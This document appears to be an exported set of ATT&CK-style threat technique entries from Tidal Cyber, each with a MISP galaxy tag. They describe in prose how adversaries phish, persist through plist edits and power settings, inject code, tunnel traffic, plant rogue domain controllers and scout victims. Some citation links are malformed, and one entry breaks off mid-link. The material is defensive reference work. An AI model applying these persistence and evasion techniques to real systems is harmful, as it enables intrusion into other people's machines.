Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.^{[[ThreatPost Social Media Phishing](https://app.tidalcyber.com/references/186c1213-d0c5-4eb6-aa0f-0fd61b07a1f7)]}^{[[TrendMictro Phishing](https://app.tidalcyber.com/references/621f1c52-5f34-4293-a507-b58c4084a19b)]}^{[[PCMag FakeLogin](https://app.tidalcyber.com/references/f652524c-7950-4a8a-9860-0e658a9581d8)]}^{[[Sophos Attachment](https://app.tidalcyber.com/references/b4aa5bf9-31db-42ee-93e8-a576ecc00b57)]}^{[[GitHub Phishery](https://app.tidalcyber.com/references/6da51561-a813-4802-aa84-1b3de1bc2e14)]} Victims may also receive phishing messages that direct them

to call a phone number where the adversary attempts to collect confidential information.^{[[Avertium callback phishing](https://app.tidalcyber.com/references/abeb1146-e5e5-5ecc-9b70-b348fba097f6)]}

Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by [Email Spoofing]([Proofpoint-spoof(https://app.tidalcyber.com/references/fe9f7542-bbf0-5e34-b3a9-8596cc5aa754)]</sup> the identity of the sender, which can be used to fool both the human recipient as well as automated security tools.^{[[cyberproof-double-bounce](https://app.tidalcyber.com/references/4406d688-c392-5244-b438-6995f38dfc61)]}

Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules]([Microsoft OAuth Spam 2022(https://app.tidalcyber.com/references/086c06a0-3960-5fa8-b034-cef37a3aee90)]</sup>^{[[Palo Alto Unit 42 VBA Infostealer 2014](https://app.tidalcyber.com/references/c3eccab6-b12b-513a-9a04-396f7b3dcf63)]}

The tag is: *misp-galaxy:technique="Phishing for Information"*

Plist File Modification

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.^{[[fileinfo plist file description](https://app.tidalcyber.com/references/24331b9d-68af-4db2-887f-3a984b6c5783)]}

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://app.tidalcyber.com/technique/5e8b76ce-b75f-449c-9d8f-573b1ffdb2bd)) or running additional commands for persistence (ex: [Launch Agent](Launch Daemon(https://app.tidalcyber.com/technique/eff618a9-6498-4b01-bca1-cd5f3784fc27) or [Re-opened Applications](https://app.tidalcyber.com/technique/9459a27a-b892-4864-9916-814130bea485)).

For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application's <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking]([wardle chp2 persistence(https://app.tidalcyber.com/references/3684bacb-24cb-4467-b463-d0d3f5075c5c
)]</sup>^{[[eset_osx_flashback](https://app.tidalcyber.com/references/ce6e5a21-0063-4356-a77a-5c5f9fd2cf5c)]}

The tag is: *misp-galaxy:technique="Plist File Modification"*

Power Settings

Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.^{[[Sleep, shut down, hibernate](https://app.tidalcyber.com/references/e9064801-0297-51d0-9089-db58f4811a9f)]}

Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.^{[[Microsoft: Powercfg command-line options](https://app.tidalcyber.com/references/d9b5be77-5e44-5786-a683-82642b8dd8c9)]}^{[[systemdsleep Linux](https://app.tidalcyber.com/references/9537f6f9-1521-5c21-b14f-ac459a2d1b70)]}

For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.^{[[Two New Monero Malware Attacks Target Windows and Android Users](https://app.tidalcyber.com/references/a797397b-2af7-58b9-b66a-5ded260659f0)]} Adversaries may also extend system lock screen timeout settings.^{[[BATLOADER: The Evasive Downloader Malware](https://app.tidalcyber.com/references/53e12ade-99ed-51ee-b5c8-32180f144658)]} Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.^{[[CoinLoader: A Sophisticated Malware Loader Campaign](https://app.tidalcyber.com/references/83469ab3-0199-5679-aa25-7b6885019552)]}

Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.^{[[Condi-Botnet-binaries](https://app.tidalcyber.com/references/a92b0d6c-b3e8-56a4-b1b4-1d117e59db84)]}

The tag is: *misp-galaxy:technique="Power Settings"*

Pre-OS Boot

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.^{[[Wikipedia Booting](https://app.tidalcyber.com/references/6d9c72cb-6cda-445e-89ea-7e695063d49a)]}

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

The tag is: *misp-galaxy:technique="Pre-OS Boot"*

Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://app.tidalcyber.com/technique/710ae610-0556-44e5-9de9-8be6159a23dd) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://app.tidalcyber.com/software/abae8f19-9497-4a71-82b6-ae6edd26ad98) utility via [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) or <code>Get-Process</code> via [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde). Information about processes can also be extracted from the output of [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.^{[[Sygnia ESXi Ransomware 2025](https://app.tidalcyber.com/references/177dd788-33d1-53f8-9419-2af3a78269ba)]}^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show processes` can be used to display current running processes.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[show_processes_cisco_cmd](https://app.tidalcyber.com/references/944e529b-5e8a-54a1-b205-71dcb7dd304f)]}

The tag is: *misp-galaxy:technique="Process Discovery"*

Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: *misp-galaxy:technique="Process Injection"*

Protocol Tunneling

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.^{[[SSH Tunneling](https://app.tidalcyber.com/references/13280f38-0f17-42d3-9f92-693f1da60ffa)]}^{[[Sygnia Abyss Locker 2025](https://app.tidalcyber.com/references/924efb81-e7a7-5fee-be0b-0a2830e04dbc)]}

[Protocol Tunneling](https://app.tidalcyber.com/technique/bd677092-d197-4230-b94a-438cb24260fd) may also be abused by adversaries during [Dynamic Resolution](https://app.tidalcyber.com/technique/987ad3da-9423-4fe0-a52b-b931c0b8b95f). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.^{[[BleepingComp Godlua JUL19](https://app.tidalcyber.com/references/fd862d10-79bc-489d-a552-118014d01648)]}

Adversaries may also leverage [Protocol Tunneling](https://app.tidalcyber.com/technique/bd677092-d197-4230-b94a-438cb24260fd) in conjunction with [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b) and/or [Protocol or Service Impersonation](https://app.tidalcyber.com/technique/eb15320a-cd24-45b2-b23f-05ef8daf1039) to further conceal C2 communications and infrastructure.

The tag is: *misp-galaxy:technique="Protocol Tunneling"*

Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://app.tidalcyber.com/software/b98d9fe7-9aa3-409a-bf5c-eadb01bac948), ZXProxy, and ZXPortMap. ^{[[Trend Micro APT Attack Tools](https://app.tidalcyber.com/references/dac5cda3-97bc-4e38-b54f-554a75a18c5b)]}
Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: *misp-galaxy:technique="Proxy"*

Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.^{[[Wikipedia Windows Registry](https://app.tidalcyber.com/references/656f0ffd-33e0-40ef-bdf7-70758f855f18)]} Information can easily be queried using the [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://app.tidalcyber.com/technique/58722f84-b119-45a8-8e29-0065688015ee) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:technique="Query Registry"*

Reflective Code Loading

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://app.tidalcyber.com/technique/8941d1f4-d80c-4aaa-821a-a059c2a0f854)).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).^{[[Introducing Donut](https://app.tidalcyber.com/references/8fd099c6-e002-44d0-8b7f-65f290a42c07)]}^{[[S1 Custom Shellcode Tool](https://app.tidalcyber.com/references/f49bfd00-48d5-4d84-a7b7-cb23fcdf861b)]}^{[[Stuart ELF Memory](https://app.tidalcyber.com/references/402745e1-a65a-4fa1-a86d-99b37221095c)]}^{[[00sec Droppers](https://app.tidalcyber.com/references/7569e79b-5a80-4f42-b467-8548cc9fc319)]}^{[[Mandiant BYOL](https://app.tidalcyber.com/references/445efe8b-659a-4023-afc7-aa7cd21ee5a1)]} For example, the `Assembly.Load()` method executed by [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) may be abused to load raw code into the running process.^{[[Microsoft AssemblyLoad](https://app.tidalcyber.com/references/3d980d7a-7074-5812-9bb1-ca8e27e028bd)]}

Reflective code injection is very similar to [Process Injection](https://app.tidalcyber.com/technique/7a6208ac-c75e-4e73-8969-0aaf6085cb6e) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.<sup>[[Stuart ELF Memory](https://app.tidalcyber.com/references/402745e1-a65a-4fa1-a86d-

99b37221095c)]</sup>^{[[00sec Droppers](https://app.tidalcyber.com/references/7569e79b-5a80-4f42-b467-8548cc9fc319)]}^{[[Intezer ACBackdoor](https://app.tidalcyber.com/references/e6cb833f-cf18-498b-a233-848853423412)]}^{[[S1 Old Rat New Tricks](https://app.tidalcyber.com/references/20ef3645-fb92-4e13-a5a8-99367869bcba)]}

The tag is: *misp-galaxy:technique="Reflective Code Loading"*

Remote Access Tools

An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.^{[[Symantec Living off the Land](https://app.tidalcyber.com/references/4bad4659-f501-4eb6-b3ca-0359e3ba824e)]}^{[[CrowdStrike 2015 Global Threat Report](https://app.tidalcyber.com/references/50d467da-286b-45f3-8d5a-e9d8632f7bf1)]}^{[[CrySyS Blog TeamSpy](https://app.tidalcyber.com/references/f21ea3e2-7983-44d2-b78f-80d84bbc4f52)]} Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.

Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://app.tidalcyber.com/technique/31c6dd3c-3eb2-46a9-ab85-9e8e145810a1)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome's Remote Desktop).^{[[Google Chrome Remote Desktop](https://app.tidalcyber.com/references/70c87a07-38eb-53d2-8b63-013eb3ce62c8)]}^{[[Chrome Remote Desktop](https://app.tidalcyber.com/references/c1b2d0e9-2396-5080-aea3-58a99c027d20)]}

The tag is: *misp-galaxy:technique="Remote Access Tools"*

Remote Services

Adversaries may use [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they

could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).^{[[SSH Secure Shell](https://app.tidalcyber.com/references/ac5fc103-1946-488b-8af5-eda0636cbdd0)]}^{[[TechNet Remote Desktop Services](https://app.tidalcyber.com/references/b8fc1bdf-f602-4a9b-a51c-fa49e70f24cd)]} They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.

Legitimate applications (such as [Software Deployment Tools](https://app.tidalcyber.com/technique/1bcf9fb5-6848-44d9-b394-ffbd3c357058) and other administrative programs) may utilize [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://app.tidalcyber.com/technique/af7afc1e-3374-4d1c-917b-c47c305274f5) to send the screen and control buffers and [SSH](https://app.tidalcyber.com/technique/7620ba3a-7877-4f87-90e3-588163ac0474) for secure file transfer.^{[[Remote Management MDM macOS](https://app.tidalcyber.com/references/e5f59848-7014-487d-9bae-bed81af1b72b)]}^{[[Kickstart Apple Remote Desktop commands](https://app.tidalcyber.com/references/f26542dd-aa61-4d2a-a05a-8f9674b49f82)]}^{[[Apple Remote Desktop Admin Guide 3.3](https://app.tidalcyber.com/references/c57c2bba-a398-4e68-b2a7-fddcf0740b61)]} Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.^{[[FireEye 2019 Apple Remote Desktop](https://app.tidalcyber.com/references/bbc72952-988e-4c3c-ab5e-75b64e9e33f5)]}^{[[Lockboxx ARD 2019](https://app.tidalcyber.com/references/159f8495-5354-4b93-84cb-a25e56fcff3e)]}^{[[Kickstart Apple Remote Desktop commands](https://app.tidalcyber.com/references/f26542dd-aa61-4d2a-a05a-8f9674b49f82)]}

The tag is: *misp-galaxy:technique="Remote Services"*

Remote Service Session Hijacking

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://app.tidalcyber.com/technique/c992f340-645d-412a-b509-3cbaf94919b0) differs from use of [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) because it hijacks an existing session rather than creating a new session using [Valid Accounts]([RDP Hijacking Medium](https://app.tidalcyber.com/references/0a615508-c155-4004-86b8-916bbfd8ae42)]</sup>^{[[Breach Post-mortem SSH Hijack](https://app.tidalcyber.com/references/f1d15b92-8840-45ae-b23d-0cba20fc22cc)]}

The tag is: *misp-galaxy:technique="Remote Service Session Hijacking"*

Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://app.tidalcyber.com/software/4ea12106-c0a1-4546-bb64-a1675d9f5dc7), <code>net view</code> using [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc), or, on ESXi servers, `esxcli network diag ping`.

Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://app.tidalcyber.com/software/45b51950-6190-4572-b1a2-7c69d865251e) cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[CISA AR21-126A FIVEHANDS May 2021](https://app.tidalcyber.com/references/f98604dd-2881-4024-8e43-6f5f48c6c9fa)]}

The tag is: *misp-galaxy:technique="Remote System Discovery"*

Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.^{[[Exploiting Smartphone USB](https://app.tidalcyber.com/references/573796bd-4553-4ae1-884a-9af71b5de873)]} This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.^{[[Windows Malware Infecting Android](https://app.tidalcyber.com/references/3733386a-14bd-44a6-8241-a10660ba25d9)]}^{[[iPhone Charging Cable Hack](https://app.tidalcyber.com/references/b8bb0bc5-e131-47b5-8c42-48cd3dc25250)]} For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

The tag is: *misp-galaxy:technique="Replication Through Removable Media"*

Resource Hijacking

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

Resource hijacking may take a number of different forms. For example, adversaries may:

- Leverage compute resources in order to mine cryptocurrency
- Sell network bandwidth to proxy networks
- Generate SMS traffic for profit
- Abuse cloud-based messaging services to send large quantities of spam messages

In some cases, adversaries may leverage multiple types of Resource Hijacking at once.^{[[Sysdig Cryptojacking Proxyjacking 2023](https://app.tidalcyber.com/references/aa0820ed-62ae-578a-adbe-e6597551f069)]}

The tag is: *misp-galaxy:technique="Resource Hijacking"*

Rogue Domain Controller

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]} Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. ^{[[Adsecurity Mimikatz Guide](https://app.tidalcyber.com/references/b251ed65-a145-4053-9dc2-bf0dad83d76c)]}

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]} The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://app.tidalcyber.com/technique/dcb323f0-0fe6-4e26-9039-4f26f10cd3a5) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. ^{[[DCShadow Blog](https://app.tidalcyber.com/references/37514816-b8b3-499f-842b-2d8cce9e140b)]}

The tag is: *misp-galaxy:technique="Rogue Domain Controller"*

Rootkit

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. ^{[[Symantec Windows Rootkits](https://app.tidalcyber.com/references/5b8d9094-dabf-4c29-a95b-b90dbcf07382)]}

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://app.tidalcyber.com/technique/4050dbda-5cb0-4bd6-8444-841e55611f3a). ^{[[Wikipedia Rootkit](https://app.tidalcyber.com/references/7e877b6b-9873-48e2-b138-e02dcb5268ca)]} Rootkits have been seen for Windows, Linux, and Mac OS X systems. ^{[[CrowdStrike Linux Rootkit](https://app.tidalcyber.com/references/eb3590bf-ff12-4ccd-bf9d-cf8eacd82135)]} ^{[[BlackHat Mac OSX Rootkit](https://app.tidalcyber.com/references/e01a6d46-5b38-42df-bd46-3995d38bb60e)]}

The tag is: *misp-galaxy:technique="Rootkit"*

Scheduled Task/Job

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.^{[[TechNet Task Scheduler Security](https://app.tidalcyber.com/references/3a6d08ba-d79d-46f7-917d-075a98c59228)]}

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://app.tidalcyber.com/technique/4060ad55-7ff1-4127-acad-808b2bc77655), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.^{[[ProofPoint Serpent](https://app.tidalcyber.com/references/c2f7958b-f521-4133-9aeb-c5c8fae23e78)]}

The tag is: *misp-galaxy:technique="Scheduled Task/Job"*

Scheduled Transfer

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://app.tidalcyber.com/technique/89203cae-d3f1-4eef-9b5a-29042eb05d19) or [Exfiltration Over Alternative Protocol](https://app.tidalcyber.com/technique/192d25ea-bae1-48e4-

88de-e0acd481ab88).

The tag is: *misp-galaxy:technique="Scheduled Transfer"*

Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.^{[[CopyFromScreen .NET](https://app.tidalcyber.com/references/b9733af4-ffb4-416e-884e-d51649aecbce)]}^{[[Antiquated Mac Malware](https://app.tidalcyber.com/references/165edb01-2681-45a3-b76b-4eb7dee5dab9)]}

The tag is: *misp-galaxy:technique="Screen Capture"*

Search Closed Sources

Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.^{[[ZDNET Selling Data](https://app.tidalcyber.com/references/61d00ae2-5494-4c6c-8860-6826e701ade8)]}

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70) or [Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).

The tag is: *misp-galaxy:technique="Search Closed Sources"*

Search Open Technical Databases

Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.^{[[WHOIS](https://app.tidalcyber.com/references/fa6cba30-66e9-4a6b-85e8-a8c3773a3efe)]}^{[[DNS Dumpster](https://app.tidalcyber.com/references/0bbe1e50-28af-4265-a493-4bb4fd693bad)]}<sup>[[Circl Passive DNS](https://app.tidalcyber.com/references/c19f8683-

Search Open Websites/Domains

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.^{[[Cyware Social Media](https://app.tidalcyber.com/references/e6136a63-81fe-4363-8d98-f7d1e85a0f2b)]}^{[[SecurityTrails Google Hacking](https://app.tidalcyber.com/references/3e7fdeaf-24a7-4cb5-8ed3-6057c9035303)]}^{[[ExploitDB GoogleHacking](https://app.tidalcyber.com/references/29714b88-a1ff-4684-a3b0-35c3a2c78947)]}

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4) or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533)).

The tag is: *misp-galaxy:technique="Search Open Websites/Domains"*

Search Victim-Owned Websites

Adversaries may search websites owned by the victim for information that can be used during

targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://app.tidalcyber.com/technique/2eee984c-ea00-4284-b3eb-fd0c603a5a80)). These sites may also have details highlighting business operations and relationships.^{[[Comparitech Leak](https://app.tidalcyber.com/references/fa0eac56-45ea-4628-88cf-b843874b4a4d)]}

